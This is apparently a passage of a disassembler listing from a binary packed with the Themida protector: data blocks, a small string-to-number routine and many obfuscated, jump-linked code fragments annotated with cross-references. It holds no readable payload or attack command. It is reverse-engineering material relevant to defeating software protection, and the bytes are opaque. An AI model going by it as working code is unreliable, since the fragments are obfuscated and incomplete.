		dd 8D56505Ah, 1D540ABDh, 0B68D8D06h, 0B8061D79h, 748323BCh
		dd 730CF2Bh, 4947C8D0h,	585EF875h, 439BD83h, 7400061Dh
		dd 458D8B06h, 33061D05h, 0B8C9h, 0C00B0000h, 99840Fh, 0BD830000h
		dd 61D2A39h, 0FF067400h, 1D11C995h, 0B806h, 0C00B0000h
		dd 0BD830975h, 61D4C2Bh, 83097401h, 1D4C2BBDh, 0E750206h
		dd 4C23B58Bh, 858D061Dh, 61F9F6Eh, 858DD0FFh, 61D4240h
		dd 0BD83D0FFh, 61D005Dh, 8B2F7502h, 1D2E25A5h, 39858B06h
		dd 89061D04h, 85C72404h, 61D0619h, 1, 4C27B58Bh, 0AD8B061Dh
		dd 61D2575h, 1B8h, 0CC200h, 85C700EBh, 61D0619h, 1, 2E25A58Bh
		dd 0B58B061Dh, 61D1165h, 2575AD8Bh, 0C033061Dh,	83000CC2h
		dd 1D3071BDh, 0F740006h, 381BD83h, 7400061Dh, 8195FF06h
		dd 8B061D03h, 1D4C23B5h, 9533C306h, 61D02F5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0B7C35040h, 4A7AD181h
		dd 0C18501E8h, 2B061D14h
		db 0D2h, 0B3h, 39h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_543C83
; ---------------------------------------------------------------------------


loc_543C81:				; CODE XREF: Themida_:00543C86j
		inc	eax
		inc	edi


loc_543C83:				; CODE XREF: Themida_:00543C7Fj
		cmp	byte ptr [edi],	0
		jnz	short loc_543C81
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_543CB2
; ---------------------------------------------------------------------------


loc_543C8F:				; CODE XREF: Themida_:00543CB4j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_543CA7
; ---------------------------------------------------------------------------


loc_543CA4:				; CODE XREF: Themida_:00543CAAj
		mul	ebx
		dec	esi


loc_543CA7:				; CODE XREF: Themida_:00543CA2j
		cmp	esi, 0
		ja	short loc_543CA4
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_543CB2:				; CODE XREF: Themida_:00543C8Dj
		or	eax, eax
		jnz	short loc_543C8F
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 0D9BF0FFCh, 0ADE9C18Bh, 60000001h, 2424748Bh, 28247C8Bh
		dd 8A80B2FCh, 7884606h,	2BB47h,	0D2020000h, 5850Fh, 168A0000h
		dd 0FD21246h, 0FFFFE283h, 0FD202FFh, 585h, 46168A00h, 830FD212h
		dd 6Ah,	0D202C033h, 5850Fh, 168A0000h, 0FD21246h, 12A83h
		dd 0FD20200h, 585h, 46168A00h, 0C013D212h, 850FD202h, 5
		dd 1246168Ah, 2C013D2h,	5850FD2h, 8A000000h, 0D2124616h
		dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 6840FC0h
		dd 57000000h, 78AF82Bh,	4707885Fh, 2BBh, 0FF70E900h, 1B8FFFFh
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0BBC32BFFh
		dd 1, 34850Fh, 1B90000h, 2000000h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0D202C913h, 5850Fh, 168A0000h, 0FD21246h
		dd 0FFFFDE82h, 0F78B56FFh, 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh
		dd 68A08E0h, 0B9E88B46h, 1, 850FD202h, 5, 1246168Ah, 2C913D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0FFDE820Fh,	3DFFFFh
		dd 0F00007Dh, 2283h, 5003D00h, 820F0000h, 0Eh, 0F78B5641h
		dd 0A4F3F02Bh, 0FEB4E95Eh, 0F883FFFFh, 3870F7Fh, 83000000h
		dd 8B5602C1h, 0F3F02BF7h, 9BE95EA4h, 8AFFFFFEh,	0C9334606h
		dd 0F01E8C0h, 1784h, 2D18300h, 8B56E88Bh, 0F3F02BF7h, 1BB5EA4h
		dd 0E9000000h, 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h
		dd 929BAh, 187EE900h, 2, 0FF680000h, 3F0012h, 0C6960259h
		dd 2 dup(0CB88005Ah), 28005Ah, 2460259h, 20000h, 10000h
		dd 50000h, 0C1AC0000h, 0FA36h, 4 dup(0)
		dd 0C6390000h, 55D80054h, 80E40054h, 8B2A0054h,	0B85B0054h
		dd 0CFE00054h, 9F320054h, 75F20054h, 0A9150054h, 0EC0D0054h
		dd 9D3B0054h, 9CB80054h, 0A9270054h, 0B1D40054h, 5F1F0054h
		dd 89420054h, 0AB610054h, 97B60054h, 0A6790054h, 0B97F0054h
		dd 0DA990054h, 0B6B70054h, 7B620054h, 0F6380054h, 0E99B0054h
		dd 9A160054h, 72A10054h, 0F8CD0054h, 4C010054h,	97A10054h
		dd 0B8A60054h, 6F5B0054h, 52EC0054h, 4A3E0054h,	97CA0054h
		dd 0F0330054h, 86870054h, 0E6D50054h, 5C790054h, 5F340054h
		dd 0A0720054h, 6C8B0054h, 0B9C00054h, 8CEF0054h, 66D50054h
		dd 78A80054h, 55DE0054h, 8C220054h, 48770054h, 69730054h
		dd 4F080054h, 0BB610054h, 5DD80054h, 49540054h,	7A700054h
		dd 77A40054h, 0F8240054h, 82490054h, 78630054h,	7C1A0054h
		dd 58A70054h, 51AC0054h, 88CA0054h, 6E330054h, 0A7930054h
		dd 0DEA40054h, 0A9840054h, 8FA60054h, 8EC40054h, 78770054h
		dd 72CD0054h, 0DC240054h, 8C9A0054h, 62250054h,	0E6A60054h
		dd 8A8C0054h, 4ECC0054h, 4BD30054h, 0B7710054h,	475A0054h
		dd 0FDB40054h, 55080054h, 76A60054h, 7E460054h,	0F2B10054h
		dd 0D5840054h, 6AAF0054h, 0E4570054h, 59810054h, 842E0054h
		dd 6E200054h, 0C9B50054h, 9D740054h, 7A790054h,	8CFE0054h
		dd 0F05E0054h, 0A80A0054h, 9AE30054h, 4BF70054h, 6FD20054h
		dd 0E4A80054h, 0A98D0054h, 8CBF0054h, 74600054h, 7CBD0054h
		dd 0FAE20054h, 0F80A0054h, 7D1F0054h, 9E7E0054h, 0EAAC0054h
		dd 78860054h, 0B2150054h, 3CB0054h, 869D0055h, 0B4960054h
		dd 0CF380054h, 0AB890054h, 0DC0F0054h, 0F5FD0054h, 5D620054h
		dd 6BA30054h, 0E9410054h, 912D0054h, 4E710054h,	630A0054h
		dd 0D59D0054h, 0FA030054h, 87160054h, 0CCF00054h, 7ED90054h
		dd 0B0150054h, 79B50054h, 6B200054h, 0BEC60054h, 0F3170054h
		dd 784F0054h, 8F170054h, 97ED0054h, 0B9B70054h,	0B5CE0054h
		dd 5C4B0054h, 0D16A0054h, 79140054h, 5A570054h,	0BD0F0054h
		dd 0C4270054h, 0D3510054h, 61690054h, 0FE780054h, 0CF530054h
		dd 0F4520054h, 0AEAC0054h, 63BA0054h, 0BDDF0054h, 0B8980054h
		dd 0D2A00054h, 0CD7C0054h, 0BD570054h, 7E640054h, 62BA0054h
		dd 85480054h, 6F440054h, 8DFF0054h, 68D20054h, 0CCFF0054h
		dd 0E5440054h, 6E040054h
		db 54h,	0
; ---------------------------------------------------------------------------


loc_544162:				; CODE XREF: Themida_:005926C6j
					; Themida_:00596676j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61D7FBEh
		mov	eax, edi
		add	edi, 61D7CD6h
		cmp	eax, [edi+2Ch]
		jnz	short loc_544180
		jmp	short loc_544193
; ---------------------------------------------------------------------------


loc_544180:				; CODE XREF: Themida_:0054417Cj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_54418F
; ---------------------------------------------------------------------------


loc_54418A:				; CODE XREF: Themida_:00544191j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_54418F:				; CODE XREF: Themida_:00544188j
		or	ecx, ecx
		jnz	short loc_54418A


loc_544193:				; CODE XREF: Themida_:0054417Ej
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5441A0:				; CODE XREF: Themida_:005441A7j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5441A0


loc_5441A9:				; CODE XREF: Themida_:00544246j
					; Themida_:00546218j ...
		lodsb
		jmp	loc_54C587
; ---------------------------------------------------------------------------
		db 57h
		dd 594960BFh, 4962BA4Eh, 0FA314E59h, 81243C8Bh,	4C4h, 0E9D30100h
		dd 1801h
; ---------------------------------------------------------------------------


loc_5441CC:				; CODE XREF: Themida_:0054777Fj
		push	eax
		mov	eax, 96D7DCEh
		push	edi
		push	ecx
		mov	ecx, 2E4D167Bh
		mov	edi, 34756A1Eh
		jmp	loc_5462F8
; ---------------------------------------------------------------------------
a1Xusbg		db '1XUG',0
		align 4
		dd 3E1C158h, 882C981h, 0BE5655A0h, 25327734h, 3A14C181h
		dd 0E9811B45h, 66FC52AEh, 49DE9h, 2EF6BF00h, 0EFC17CF7h
		dd 0A319E906h, 0C2810000h, 4, 5C241487h, 21C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_544229:				; CODE XREF: Themida_:0054C4ECj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		sub	bl, al
		sub	bl, 0BBh
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_5441A9
; ---------------------------------------------------------------------------
		db 53h
		dd 5556E389h, 71B7B850h, 240D650Eh, 40056549h, 37ADE9h
		dd 7FB95100h, 0F7418666h, 4EC181D1h, 0E9B392A4h, 588h
		dd 0E9241431h, 2870h, 0A95CE957h, 0C4810000h, 4, 8B24048Fh
		dd 4BE92424h, 830000B2h, 0F7E904ECh, 57000029h,	2BFh, 5FFA0100h
		dd 89DAE9h, 2DF00100h, 0A743F6h, 53C3315Eh, 0BC685557h
		dd 0E930087Ah, 0B990h, 6903E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5442C6:				; CODE XREF: Themida_:005495AAj
		mov	edi, 48C375Ch
		not	edi
		push	edi
		xchg	ebp, [esp]
		not	ebp
		jmp	loc_545BB5
; ---------------------------------------------------------------------------
		dd 222068h, 240C8900h, 3FF0BF57h, 0F989720Dh, 2AEDE95Fh
		dd 0F5810000h, 6A143929h, 5303E9h, 242C8900h, 5CB5E9h
		dd 3E616800h, 14890000h, 0C0E5B624h, 49E903E6h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544313:				; CODE XREF: Themida_:0054FA47j
		add	esp, 4
		push	ecx
		push	20AEh
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	3E1Ch
		mov	[esp], esi
		push	7F07h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_548971
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 28979E23h, 815AD601h, 4C6h, 60F6800h, 34890000h, 2474FF24h
		dd 48F5E04h, 85CDE924h,	68530000h, 5A307248h, 0E9241C8Bh
		dd 2133h, 0C781E789h, 4, 4EC81h, 4890000h, 4B824h, 0C7290000h
		dd 243C8758h, 2414895Ch, 597EE9h, 245C0100h, 4C015B08h
		dd 3CE90424h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5443D3:				; CODE XREF: Themida_:00544DEDj
		xor	ebp, 5AB047D1h
		sub	ebp, 1AB5FFB5h
		jmp	loc_548D29
; ---------------------------------------------------------------------------
		dd 8B1DCABDh, 5E5C15Fh,	0B8B2E9h, 17BF5700h, 4F333B12h
		dd 3DE568h, 24348900h, 713FE9h,	24236800h, 3C890000h, 16824h
		dd 295F0000h, 0BD555FFEh, 39FD4C1Dh, 5CDFE9h, 0E9D08900h
		dd 8B5h, 5024348Bh, 0BFC4E9h, 0E9D83100h, 0FFFFFEA0h, 15DEA01h
		dd 8153E9D3h, 0A5B80000h, 2917AE4Ah, 24048BC5h,	104C483h
aS_1		db '"!',0             ; DATA XREF: ___:off_43D3A4o
		align 2


loc_544456:				; CODE XREF: Themida_:0054E996j
		pop	esp
		push	1E84h
		jmp	loc_544471
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 0DDh
		dd 80D3C380h, 0CB001EC3h, 25E9h
		db 0
; ---------------------------------------------------------------------------


loc_544471:				; CODE XREF: Themida_:0054445Cj
		mov	[esp], ebx
		jmp	loc_54D5CE
; ---------------------------------------------------------------------------
		db 83h,	0C6h, 4
		dd 2474FF56h, 2D49E904h, 4810000h, 424h, 242C8B00h, 0BAE5E956h
		dd 0EB800000h, 0D3EB801Eh, 59DDC380h, 0EB80C300h, 0C0B60F88h
		dd 578734FFh, 4F0A6851h, 0C8B00EEh, 0E2895224h,	4C281h
		dd 0C2830000h, 969EE904h, 248B0000h, 29CBE924h,	0DA310000h
		dd 645CCA81h, 0C2815EC4h, 81009203h, 5E08950h, 4, 42Dh
		dd 24048700h, 2414895Ch, 0F8215A5Fh, 81243C8Bh,	4C4h, 4EC8300h
		dd 0BB241C89h, 1Ch, 33FFFB01h, 70242C81h, 59575C2Ah, 0E3895355h
		dd 4C381h, 0EB810000h, 4, 8B241C87h, 4892424h, 7DB824h
		dd 0C5896DD8h, 8E5C158h, 5290ED81h, 0E90180A4h,	5D2434FFh
		dd 9527E9h, 7CDBBA00h, 9E94D3Ah, 66000090h, 667097BEh
		dd 668E77BFh, 1CEAC781h, 0E9F72966h, 24CBh, 0FF5EF089h
		dd 515F2434h, 0C1815954h, 4, 4C181h, 0C870000h,	3CB6E924h
		dd 55550000h, 0EAE95D54h, 5E000001h, 5002D58h, 0EE9050Bh
		dd 4FFFFFFCh, 2EC6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5445A1:				; CODE XREF: Themida_:0054D0F4j
		add	dword ptr [esp+4], 5595440Bh
		pop	ebp
		pop	ecx
		push	esi
		mov	esi, 17632181h
		jmp	loc_549DC7
; ---------------------------------------------------------------------------
a_sj3		db '_J3',0
		align 4
		dd 4C7815Ch, 81000000h,	4C7h, 7029E900h, 9C510000h, 0FFFBD4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5445D5:				; CODE XREF: Themida_:005466D0j
		xchg	eax, [esp]
		jmp	loc_54C806
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 0D0h
		dd 55C0B60Fh, 29E95D54h, 29000019h, 57C681CEh, 0E9317649h
		dd 5663h, 0E739432Dh, 0EB870578h, 0C1896072h, 8324048Bh
		dd 0F18104C4h, 40AC6522h, 0E981D1F7h, 66082FE3h, 0E907E1C1h
		dd 2F01h, 4BFh,	64C68100h, 14B5D49h, 0DBB951FEh, 81512769h
		dd 5A30D1E1h, 7E1C14Bh,	1AF9E981h, 81493BBFh, 0C04E2F1h
		dd 59CE290Eh, 4BD555Fh,	1000000h, 0FF565DEEh, 0E9042474h
		dd 0BB47h, 0D5F7D5F7h, 4E6AF581h, 0EE01603Ah, 7D08E95Dh
		dd 555D0000h, 2C3AF0BDh, 22E98155h, 291BF557h, 8DBDE9E9h
		dd 3C8B0000h, 2BEAE924h, 14310000h, 24143324h, 241C895Ch
		dd 6E7A6850h, 3DE91479h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5446A3:				; CODE XREF: Themida_:00547786j
		xor	esi, edi
		jmp	loc_549864
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 3F812601h, 0C181F129h, 3F812601h, 52AEC181h,	0E98166FCh
		dd 1B453A14h, 8324348Bh, 575204C4h, 0ACB3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5446D1:				; CODE XREF: Themida_:00548F51j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		pop	esi
		xor	esi, edi
		jmp	loc_547784
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 4, 4EC81h, 3C890000h, 2474FF24h, 0E1AE904h, 2BE0000h
		dd 56000000h, 24348B5Bh, 4C481h, 0C7810000h, 6A8B0C89h
		dd 4DB6E9h, 81CF0100h, 4ECh, 24148900h,	5026E9h, 4F80000h
		dd 5B3B04FBh, 4EC81h, 0BEE90000h, 6800002Fh, 4,	0C8C7815Dh
		dd 1077943h, 0C8EF81EFh, 5D077943h, 9974E956h, 0EC830000h
		dd 0AD8AE904h, 0FF570000h, 5F042474h, 5C24048Fh, 68C8B60Fh
		dd 2720h, 89C8E9h, 4C58100h, 81000000h,	4EDh, 232E900h
		dd 4310000h, 24043324h,	6624248Bh, 6824048Bh, 0B2Eh, 0E9242C89h
		dd 0B780h, 0B770DEBDh, 68C4E932h, 0EB810000h, 4, 4EB1E9h
		dd 2E9C100h, 8104E1C1h,	572FA5C1h, 56C18121h, 29C1D9B2h
		dd 240C8BCEh, 895E9h, 0E0895000h, 405h,	40500h,	4870000h
		dd 0FE95C24h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5447EB:				; CODE XREF: Themida_:0054AA55j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 5F5143F1h
		jmp	loc_54A8E2
; ---------------------------------------------------------------------------
		dd 959CE89h, 0D0F75EF0h, 42F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_544809:				; CODE XREF: Themida_:0054E5E4j
		push	esi
		push	edx
		mov	edx, 7C7009C7h
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		push	2017h
		mov	[esp], edi
		mov	edi, 6C97621Ah
		xor	edi, 7DAC2B1Bh
		jmp	loc_544F34
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 170875DBh, 8A29C581h, 0E901E8F7h, 240C335Dh,	33240C31h
		dd 248B240Ch, 24043124h, 0F957E99Ch, 2C89FFFFh,	40006824h
		dd 215D0000h, 2434FFE8h, 0E9242C8Bh, 2A33h, 243C875Ch
		dd 431665Ch, 32E99C24h,	66FFFFF9h, 0E9240C8Bh, 7625h, 2EFC15Fh
		dd 731BE781h, 0BEE965FDh, 33000067h, 248B242Ch,	0AEB05024h
		dd 0E8C0D0F6h, 8E8C006h, 5780E9h, 0C7816600h, 19E9F93Ah
		dd 8900000Bh, 0AAE92434h, 57FFFFF9h, 7B37E9h, 243C8900h
		dd 1510FABFh, 0C1DFF758h, 0C78104E7h, 0C1508D58h, 15FFE31h
		dd 0C7835EF7h, 243C8702h, 0A9D6E9h, 0EC815800h,	4, 0E9240489h
		dd 96FEh, 8EBB5357h, 8734A202h,	2D43E9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5448FE:				; CODE XREF: Themida_:005454FDj
		push	dword ptr [esp]
		jmp	loc_5450EB
; ---------------------------------------------------------------------------
		dw 0B652h
		dd 4205E9B5h, 0D8290000h, 0AD47992Dh, 4EC8330h,	9631E9h
		dd 0EFB95100h, 0F72B795Ah, 5FE181D9h, 0F7084904h, 81D1F7D1h
		dd 579167E9h, 59CE2985h, 0D77CC681h, 0F301D6EFh, 8B2434FFh
		dd 0C4812434h, 4, 0E9E68956h, 4C84h, 9D1C77FFh,	4105866h
		dd 46E99C24h, 0B9FFFFF8h, 0C271D69h, 0E829A305h, 3729E922h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544972:				; CODE XREF: Themida_:00548DB1j
		add	esp, 4
		xchg	ecx, esi
		jmp	loc_548E1F
; ---------------------------------------------------------------------------
		db 0BDh
		dd 1, 4BDFE9h, 8AE28100h, 811ACB2Ah, 8027FEEAh,	9A95E900h
		dd 0E2890000h, 4C281h, 0C2830000h, 24148704h, 1A7E95Ch
		dd 0B3530000h, 0BCF38049h, 0E95BDD08h, 2575h, 5C242C87h
		dd 83240C89h, 348904ECh, 8768BE24h, 2FE93554h, 2500000Ah
		dd 7A970A7Bh, 776B0548h, 0C0354ED2h, 1278693h, 0E9C158C1h
		dd 26C18103h, 2D494169h, 33364B73h, 7305C801h, 8B33364Bh
		dd 0C483240Ch, 2434FF04h, 68242C8Bh, 0EC6h, 89240489h
		dd 405E0h, 0C0830000h, 24048704h, 4C4835Ch, 1E9C331h, 8100009Fh
		dd 79A391C7h, 7D9BE905h, 0C6800000h, 285866ACh,	3A52E9CEh
		dd 68660000h, 546609F1h, 24048F66h, 815B5453h, 4C3h, 2EB8300h
		dd 5C241C87h, 24048966h, 2B866h, 24448166h, 661DE002h
		dd 2246C81h, 48E97F51h,	50000ACh, 4, 4F45B951h,	34E91EC9h
		dd 52000017h, 2BAh, 11B95100h, 148D455h, 240C8BCFh, 0E904C483h
		dd 3C10h, 41E9752Ch, 0BF00000Bh, 40h, 34FFF921h, 68525F24h
		dd 1E47h, 83242489h, 5A042404h,	3142E9h, 0C3815B00h, 4
		dd 1AC568h, 242C8900h, 468h, 350EE900h,	1B80000h, 2967EF8Bh
		dd 7908E9C3h, 0F7420000h, 81DAF7D2h, 0A4421DEAh, 5AD02974h
		dd 2474FF50h, 0B254E904h, 0CB010000h, 90C38159h, 1B9D4D7h
		dd 43A1E9DAh, 4810000h,	424h, 24148B00h, 8104C483h, 4C2h
		dd 0F1BE5600h, 0F757892Dh, 54E946D6h, 29000016h, 2668E9F1h
		dd 25BD0000h, 312BE258h, 0E83159CDh, 0E92434FFh, 0DC2h
		dd 0BB241C89h, 4, 0AD49E9h, 0E9E82100h,	0AEF7h,	64044BBEh
		dd 0FFC9E936h, 5966FFFFh, 649EE9h, 24148900h, 88F88850h
		dd 0F58858C6h, 3590E9h,	24348900h, 752268h, 240C8900h
		dd 0E951D989h, 64CCh, 0E2E9D021h, 0B800006Ah, 0CC543E8h
		dd 8958C531h, 0CFE95DEFh
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544BA7:				; CODE XREF: Themida_:0054DAC4j
		xor	edx, 45764011h
		or	esi, edx
		pop	edx
		xor	esi, 0E7879F9h
		add	esi, 44212924h
		and	esi, 478E0230h
		sub	esi, 93FCBD27h
		sub	ebp, esi
		pop	esi
		pop	esi
		inc	ebp
		push	edi
		jmp	loc_5465F3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 1CD36659h, 0C6E99C24h, 59FFFFF5h,	0E9240487h
		dd 4FE4h, 20E1E980h, 54E959CBh,	6600003Bh, 53240C8Bh, 1CBDE9h
		dd 1CF76600h, 9EE99C24h, 4FFFFF5h, 58C788B2h, 0FC282BB4h
		dd 6FF4E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544C1A:				; CODE XREF: Themida_:00549128j
		sub	ecx, edx
		pop	edx
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	1FDFh
		mov	[esp], ebp
		mov	ebp, 78924B0Fh
		push	eax
		mov	eax, 6F175464h
		jmp	loc_544FDA
; ---------------------------------------------------------------------------
		dw 0C909h
		dd 8F91840Fh, 83550000h, 248904ECh, 24048324h, 242C8B04h
		dd 815B5453h, 4C3h, 1857E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544C62:				; CODE XREF: Themida_:0054D998j
		push	6E71h
		mov	[esp], edi
		push	ecx
		mov	ecx, 40000h
		push	ebp
		mov	ebp, ecx
		mov	edi, ebp
		jmp	loc_547F1B
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 7060788Ah, 555BDA01h, 2B316856h, 0C15E26B7h,	0B85008E6h
		dd 0B72B3104h, 48BC631h, 4C48124h, 89000000h, 0EA015EF5h
		dd 2414335Dh, 33241431h, 525C2414h, 558BE9h
		db 0
; ---------------------------------------------------------------------------


loc_544CB5:				; CODE XREF: Themida_:0054AB5Cj
		mov	[esp], ebp
		mov	ebp, 78C51099h
		jmp	loc_545111
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 8B7783Ah, 0A1F2E9h, 99E98100h, 0E98B70B7h, 9874h, 0FFF4CCE9h
		dd 24148BFFh, 97A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_544CE5:				; CODE XREF: Themida_:00546BD4j
		pop	ebp
		add	esp, 4
		xor	eax, edx
		jmp	loc_544D47
; ---------------------------------------------------------------------------
		dd 1C681h, 0C6810000h, 52016B0Ch, 0D230F681h, 9B2DF7E1h
		dd 0E960A62Eh, 0FB2h
; ---------------------------------------------------------------------------


loc_544D0C:				; CODE XREF: Themida_:00546B9Ej
		pop	esi
		and	ecx, ebx
		jmp	loc_54E9A3
; ---------------------------------------------------------------------------
		dd 5624148Bh, 3B27E9h, 4D82800h, 2BCE969h, 0F6810000h
		dd 3CC1CF8h, 23E16852h,	3C890000h, 89F78924h, 0E2E95FFAh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544D3F:				; CODE XREF: Themida_:00547658j
		pop	edx
		or	eax, eax
		jmp	loc_54835E
; ---------------------------------------------------------------------------


loc_544D47:				; CODE XREF: Themida_:00544CEBj
		pop	edx
		push	503Bh
		mov	[esp], edx
		push	ebx
		jmp	loc_546731
; ---------------------------------------------------------------------------
		dw 0C780h
		dd 5BFD3056h, 0E9B9F580h, 9A47h, 594C68h, 240C8900h, 7F69E0B9h
		dd 4020681Dh, 3C890000h, 50FBBF24h, 0BE563711h,	53DE4484h
		dd 30F0E681h, 0F7463545h, 5479E9DEh, 58540000h,	2DBB5351h
		dd 892C7520h, 9D99E9D9h, 23BF0000h, 4763BA4Dh, 0B9E9564Fh
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544DAF:				; CODE XREF: Themida_:00548D2Cj
		add	ebx, eax
		add	ebx, 39A6019Eh
		push	edi
		jmp	loc_54C678
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 29000000h, 0C2015BDAh, 68525156h, 12C31D1Dh,	0F7EA875Ah
		dd 0E9EA87D5h, 2C3h
; ---------------------------------------------------------------------------


loc_544DDC:				; CODE XREF: Themida_:0054C52Dj
		pop	eax
		push	63FBh
		mov	[esp], ebp
		mov	ebp, 0EEC4681h
		sub	ebp, 0FFFFFFFFh
		jmp	loc_5443D3
; ---------------------------------------------------------------------------
		dw 575Ah
		dd 7772B3BFh, 0C4BA5277h, 295C5647h, 0EF815AD7h, 15A44C29h
		dd 0C181CF87h, 1, 3906E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544E16:				; CODE XREF: Themida_:00545794j
		sub	esp, 4
		mov	[esp], eax
		push	7441h
		mov	[esp], ecx
		mov	ecx, 21ED18A1h
		mov	eax, 40655540h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		dec	eax
		not	eax
		neg	eax
		and	eax, 474801F0h
		sub	eax, 424001DCh
		add	ebp, eax
		pop	eax
		jmp	loc_548F67
; ---------------------------------------------------------------------------
		db 66h
		dd 6620EC68h, 0B5240C89h, 0E9EB28D8h, 13EDh, 4A15EB81h
		dd 0FB297215h, 543FE9h,	71E9AD00h, 5C000045h, 0BF243C89h
		dd 4, 4DC5EE81h, 0FE01160Ah, 4DC5C681h,	9DE9160Ah
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544E93:				; CODE XREF: Themida_:0054E0C0j
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	ax
		push	ebx
		mov	bl, 41h
		sub	bl, 0C4h
		jmp	loc_54D1BD
; ---------------------------------------------------------------------------
		db 83h
		dd 895704C4h, 4C781E7h,	0E9000000h, 17DBh, 0E9D830ACh
		dd 5BE1h, 451FBB53h, 0D3F701F6h, 5C9DE957h, 63050000h
		dd 2D44E97Fh, 22E829A3h, 240C8B59h, 4C481h, 9CE90000h
		dd 810000A0h, 0BD7FFDEFh, 0E9FB017Bh, 96EAh, 0F523E9ADh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544F0E:				; CODE XREF: Themida_:00546850j
		mov	edx, [esp]
		push	ebp
		push	esp
		jmp	loc_545F3A
; ---------------------------------------------------------------------------


loc_544F18:				; CODE XREF: Themida_:00549430j
		xor	edx, 7254AD36h
		push	edx
		pop	esi
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		pop	ebx
		mov	eax, ebx
		pop	ebx
		jmp	loc_5456F0
; ---------------------------------------------------------------------------


loc_544F34:				; CODE XREF: Themida_:00544829j
		sub	edx, edi
		mov	edi, [esp]
		jmp	loc_54942D
; ---------------------------------------------------------------------------


loc_544F3E:				; CODE XREF: Themida_:0054FF46j
		mov	[esp], ecx


loc_544F41:				; DATA XREF: ___:off_435DD8o
		mov	ch, 0Ch
		push	ax
		push	edx
		jmp	loc_549EAB
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 24148700h, 68505E5Ch, 24h, 3B5C6858h, 0C890000h
		dd 5130E924h, 6CBE0000h, 29597050h, 8D0D5EF0h, 0C14BB170h
		dd 0E8E902E8h, 58000012h, 81E18951h, 4C1h, 4C18100h, 87000000h
		dd 525C240Ch, 2107E9h, 7BEA3500h, 0C6298C2Bh, 8124048Bh
		dd 4C4h, 7EEC100h, 0A62B951h, 0F1810F57h, 14DE0169h, 0F572E981h
		dd 0EE814B72h, 287E1B90h, 0C681CE29h, 287E1B90h, 8BF22959h
